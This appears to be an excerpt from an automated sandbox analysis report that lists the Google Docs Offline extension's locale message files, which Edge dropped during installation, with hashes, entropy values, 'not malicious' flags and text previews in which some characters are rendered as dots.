Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

